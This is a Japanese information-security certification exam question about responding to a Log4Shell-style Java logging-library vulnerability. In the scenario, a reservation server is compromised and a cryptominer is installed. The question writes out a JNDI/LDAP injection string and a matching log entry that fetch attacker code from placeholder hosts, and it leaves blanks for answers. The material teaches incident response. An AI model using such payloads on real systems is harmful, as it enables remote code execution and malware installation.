情報処理安全確保支援士試験 過去問 2022年(令和4年) 秋期 午後Ⅰ 問2

脆弱性に起因するセキュリティインシデントへの対応

U社は、従業員200名の食品製造業である。情報システム部がシステムを管理している。U社のネットワーク構成を図1に、サーバの機能概要を表1に示す。

U社のネットワーク構成図
図1 U社のネットワーク構成(抜粋)
表1 サーバの機能概要(抜粋)
サーバ名 機能概要
プロキシサーバ
  • インターネットへのHTTP通信及びHTTPS通信を中継するためのフォワードプロキシ1)である。
  • URLフィルタリングソフトが組み込まれており、URLフィルタリングルールを用いて、URLごとにアクセスを許可又は拒否することができる。アクセス元のIPアドレス範囲ごとにそれぞれ別のURLフィルタリングルールを定義することができる。
  • 一つのURLフィルタリングルールは次の二つのリストから成り、上から順に適用される。
    • 許可リスト
    • 拒否リスト
  • 許可リストに「全て」を指定すると、全てのURLへの通信を許可する。拒否リストに「全て」を指定すると、許可リストに指定したURL以外のURLへの通信が拒否される。何も指定しない許可リストは、スキップされる。拒否リストも同様である。
  • どのリストにも該当しないURLは、アクセスが許可される。
予約サーバ
  • U社の工場見学のオンライン予約を見学希望者が行うためのサーバである。Javaを利用したオンライン予約システムのパッケージであるB社のTソフトを使っている。
  • 見学希望者は、HTTPSでアクセスし、空いている日時を選択して見学希望者の情報を入力することによって予約ができる。工場見学の空き状況はU社のSNSアカウントを利用して、クラウドサービス上の複数のSNS投稿用のサーバに対してHTTPSで定期的に投稿される。
会員サーバ U社の顧客向けに会員サイトを提供している。Javaを利用している。会員はHTTPSでアクセスする。会員サイトの利用には、利用者IDとパスワードによるログインが必要である。

注1) TLSの復号及び再暗号化ができ、HTTPS通信内容を参照することができる。

FWのフィルタリングルールを表2に示す。

表2 FWのフィルタリングルール
項番 送信元 宛先 サービス 動作
1 インターネット 予約サーバ、会員サーバ HTTPS 許可
2 予約サーバ インターネット 全て 許可
3 PC-LAN プロキシサーバ 代替HTTP1) 許可
4 プロキシサーバ インターネット HTTP、HTTPS 許可
5 プロキシサーバ インターネット DNS 許可
12 全て 全て 全て 拒否
  • 注記1 FWは、ステートフルパケットインスペクション型である。
  • 注記2 項番の小さいルールから順に、最初に一致したルールが適用される。
  • 注記3 項番6~11にはDMZ内のサーバとインターネットとの間、及びPC-LANとインターネットとの間の通信に関するルールはない。
  • 注1) 代替HTTPのポート番号は、8080である。

セキュリティインシデントの報告と調査

ある日、予約サーバでCPU使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ、普段予約サーバでは、BSoftMainとSBMainというTソフトのプロセスが稼働しているが、この日はrunという名称の見慣れないプロセス(以下、runプロセスという)も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から、runプロセスが13:07:00からCPU使用率を上げていたことが判明した。

この結果を受け、情報システム部のD主任はセキュリティインシデントの疑いがあると判断し、上司に報告の上、予約サーバの調査を開始した。

13:07:00における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。

表3 予約サーバのプロセス一覧(抜粋)
プロセスID 親プロセスID 開始時刻 コマンド CPU使用率
100 (省略) 10:11:15 java BSoftMain (省略)
110 100 13:00:00 java SBMain (省略)
200 100 13:06:30 run (省略)
表4 予約サーバのコネクション一覧(抜粋)
送信元 宛先 サービス プロセスID
予約サーバ a1.b1.c1.d1 HTTPS 110
予約サーバ a2.b2.c2.d2 HTTPS 110
予約サーバ a3.b3.c3.d3 HTTP 200

注記 a1.b1.c1.d1~a3.b3.c3.d3はグローバルIPアドレスを表す。以下、aX.bX.cX.dX(Xには数字が入る)はグローバルIPアドレスを表す。

表3と表4からrunプロセスの外部への通信の有無を確認したところ、IPアドレスがaのホストに対して通信を行っていたことが確認できた。また、aを確認したところ、海外のIPアドレスであり、予約サーバの通信先として想定されているものではなかった。D主任は上司に報告し、予約サーバをネットワークから隔離した。

予約サーバの調査

D主任は、①表3の内容から、runプロセスが稼働している原因の追究にはTソフトを調べる必要があると判断した。B社に状況を説明し、不具合やセキュリティ上の問題がないか確認したところ、U社が利用しているバージョンには、脆弱性があることが分かった。

その脆弱性とは、TソフトがJ利用しているライブラリXというオープンソースのライブラリに存在する、リモートから任意のコードが実行可能となる脆弱性(以下、脆弱性Yという)である。ライブラリXと脆弱性Yの説明を図2に示す。

【ライブラリXの概要】

ライブラリXは、Javaのログユーティリティである。ライブラリXには外部オブジェクトを読み込む機能があり、標準で有効になっている。

【脆弱性Yの概要】

ライブラリXを使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合、攻撃者の用意したJavaクラスが実行される可能性がある。

【脆弱性YにおいてLDAPを利用した攻撃の例】

  1. 攻撃者が、攻撃文字列"${jndi:ldap://a4.b4.c4.d4/Exploit}"を含むHTTPリクエストを送る。攻撃対象のWebサーバにおいて、ライブラリXがログ出力処理をする文字列中に当該攻撃文字列が含まれると、ライブラリXはIPアドレスがa4.b4.c4.d4のサーバに対し、LDAPで"Exploit"というクエリを送る。
  2. 攻撃者の用意したIPアドレスがa4.b4.c4.d4のLDAPサーバは"Exploit"というクエリを受け、"http://a5.b5.c5.d5/JClass"を取得させるための情報を返す。
  3. ライブラリXはURLに従い、攻撃者の用意したWebサーバであるa5.b5.c5.d5のサーバにアクセスし、レスポンスに含まれるJavaクラスである"JClass"を実行する。
  4. JClassは、攻撃者の用意したURLである"http://a6.b6.c6.d6/malwarex"にリクエストを送り、レスポンスに含まれるファイルを"malwarex"というファイル名で保存し、実行する。

注記 "Exploit"、"JClass"、"malwarex"といった文字列やIPアドレスは攻撃ごとに異なる。

図2 ライブラリXと脆弱性Yの説明

runプロセス起動前後の13:00:00から13:16:00までの、予約サーバのアクセスログを調査した結果、表5に示す、脆弱性Yを悪用したと考えられるアクセスログを発見した。

表5 脆弱性Yを悪用したと考えられるアクセスログ
時刻 送信元 リクエスト ユーザエージェント
13:04:32 a7.b7.c7.d7 GET /index.html ${jndi:ldap://a8.b8.c8.d8/JExp}

D主任はrunプロセスがどのような経緯で起動したかを調査するために、FWの通信ログを確認した。runプロセス起動前後の13:00:00から13:16:00までのFWの通信ログのうち、予約サーバを送信元とするものを表6に示す。

表6 予約サーバを送信元とするFWの通信ログ
時刻 送信元 宛先 サービス 処理結果
13:02:15 予約サーバ a1.b1.c1.d1 HTTPS 許可
13:05:50 予約サーバ a8.b8.c8.d8 LDAP 許可
13:05:53 予約サーバ a8.b8.c8.d8 HTTP 許可
13:06:05 予約サーバ a9.b9.c9.d9 HTTP 許可
13:08:15 予約サーバ a2.b2.c2.d2 HTTPS 許可
13:12:15 予約サーバ a1.b1.c1.d1 HTTPS 許可
13:15:35 予約サーバ a3.b3.c3.d3 HTTP 許可

D主任はここまでの調査で分かった情報から、予約サーバへの攻撃の流れを表7のとおりまとめた。

表7 予約サーバへの攻撃の流れ
番号 時刻 内容
1 b 攻撃者が予約サーバに対して通信を行った。
2 c 予約サーバが、IPアドレスがdのホストのeサービスにfというクエリを送った。
3 (省略) 予約サーバが、2の通信の応答に含まれるURLに対してHTTP通信を行った。
4 (省略) 予約サーバで、3の通信のレスポンスに含まれるJavaクラスが実行され、攻撃者の用意したURLに対してHTTP通信が行われた。
5 13:06:30 予約サーバで、4の通信のレスポンスに含まれるファイルが実行され、runプロセスが起動した。
6 (省略) 予約サーバで、runプロセスが攻撃者のサーバに通信を行った。

U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)であるE氏の協力を得てrunプロセスについての調査を進めた結果、暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて、予約情報への不正なアクセスは確認できなかった。

会員サーバの調査

次に、会員サーバにおいて、ライブラリXの利用の有無及び同様の攻撃の有無を確認したところ、会員サーバにおいてもライブラリXでログ出力処理を行っていること、及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし、調査の結果、攻撃は失敗していたことが判明した。D主任は、攻撃が失敗したのは、攻撃者が会員サーバにログインするための利用者IDとパスワードを知らなかったからだと考えた。しかし、E氏は、②脆弱性Yは認証前のアクセスでも悪用できるので、そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは、③別の理由だとD主任に説明した。

脆弱性への対応

D主任は上司に調査結果を報告した。その後、予約サーバは、OS及び必要なソフトウェアをクリーンインストールし、バックアップデータから復旧を行った。さらに、予約サーバと会員サーバについて、脆弱性Yに対する脆弱性修正プログラムを適用した。

再発防止策の検討

続けて、D主任は外部への不正通信が発生したことへの再発防止策を、E氏とともに検討した。再発防止策として、予約サーバからインターネットへの通信に関する設定を変更することにした。必要な設定変更内容は次のとおりである。

  • 予約サーバを起点とするインターネットへのHTTPS通信は、プロキシサーバを中継させる設定とする。
  • FWフィルタリングルールについて、表2の項番2を削除する。
  • URLフィルタリングルールについて、表8に示す内容で設定する。
表8 URLフィルタリングルールについての設定
アクセス元IPアドレス 許可リスト 拒否リスト
gのIPアドレス h i

検討した再発防止策は採用され、今回の対応を完了した。

出典:令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問2(設問のみ)